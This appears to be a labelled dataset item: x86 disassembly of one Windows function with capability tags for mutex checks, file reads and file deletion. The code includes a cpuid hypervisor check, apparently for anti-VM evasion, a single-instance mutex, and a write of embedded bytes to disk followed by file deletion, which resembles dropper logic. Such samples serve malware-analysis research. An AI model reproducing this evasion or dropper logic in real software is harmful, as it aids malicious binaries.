Function at 0x2001000
Capabilities:
Check if file exists
Check mutex on windows
Delete file
Get file attributes
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x32c
mov eax, dword [0x2012008]
xor eax, esp
mov dword [esp + 0x328], eax
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, 0x103
xor ebx, ebx
push edi
lea eax, [esp + 0x1d]
push ebx
push eax
mov byte [esp + 0x24], bl
call fcn.02006ed0
add esp, 0xc
push edi
lea eax, [esp + 0x22d]
push ebx
push eax
mov byte [esp + 0x234], bl
call fcn.02006ed0
add esp, 0xc
push edi
lea eax, [esp + 0x125]
push ebx
push eax
mov byte [esp + 0x12c], bl
call fcn.02006ed0
add esp, 0xc
call fcn.02001687
test eax, eax
je 0x20012a0
call fcn.020017b4
test eax, eax
je 0x20012a0
mov dword [esp + 0x10], ebx
push eax
push ecx
mov eax, 1
cpuid
mov dword [esp + 0x18], ecx
pop ecx
pop eax
mov eax, dword [esp + 0x10]
and eax, 0x80000010
cmp eax, 0x10
je 0x20010bc
call fcn.02001847
test eax, eax
jne 0x20010bc
push eax
call fcn.02002c55
pop ecx
jmp 0x20012a0
call fcn.020013b1
test eax, eax
je 0x20010cf
call fcn.02001448
jmp 0x20012a0
mov ecx, 0x2010404
lea ebx, [esp + 0x18]
call fcn.020019c7
mov eax, ebx
push eax
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [esp + 0x10], eax
cmp eax, ebx
je 0x2001111
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x2001111
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
jmp 0x20012a2
push 0x104
lea eax, [esp + 0x124]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp esi, ebx
je 0x200114d
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x200112e
sub eax, edx
je 0x200114d
lea edx, [esp + 0x18]
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x2001141
jmp 0x2001151
mov byte [esp + 0x18], bl
lea eax, [esp + 0x18]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x2001158
sub eax, edx
je 0x20011fe
mov ecx, 0x2010420
lea ebx, [esp + 0x228]
call fcn.020019c7
mov eax, ebx
push eax
lea eax, [esp + 0x124]
push eax
call fcn.02003140
pop ecx
pop ecx
test eax, eax
je 0x20011ae
call fcn.020031b0
test eax, eax
jne 0x20011fe
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov byte [esi], 0
jmp 0x20011fe
mov ecx, 0x2010434
lea ebx, [esp + 0x228]
call fcn.020019c7
mov ecx, ebx
lea eax, [esp + 0x18]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x20011e3
test dl, dl
je 0x20011df
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x20011e3
inc eax
inc eax
inc ecx
inc ecx
test dl, dl
jne 0x20011c5
xor eax, eax
jmp 0x20011e8
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x20011fe
xor eax, eax
mov cl, byte [esp + eax + 0x18]
mov byte [esp + eax + 0x120], cl
inc eax
test cl, cl
jne 0x20011ee
xor eax, eax
mov cl, byte [esp + eax + 0x120]
mov byte [esp + eax + 0x18], cl
inc eax
test cl, cl
jne 0x2001200
lea edi, [esp + 0x18]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x2001215
lea eax, [esp + 0x18]
mov esi, 0x2010440
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x200127c
lea eax, [esp + 0x18]
push 0x2010444
push eax
call fcn.02003711
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x2001266
push esi
push 0x778
push 1
push 0x204ee00
call fcn.020039c8
push esi
call fcn.02003a94
add esp, 0x14
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.020012b9
lea eax, [esp + 0x120]
push eax
call fcn.02002c55
cmp dword [esp + 0x14], 0
pop ecx
je 0x20012a0
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [esp + 0x334]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.020035b0
mov esp, ebp
pop ebp
ret 0x10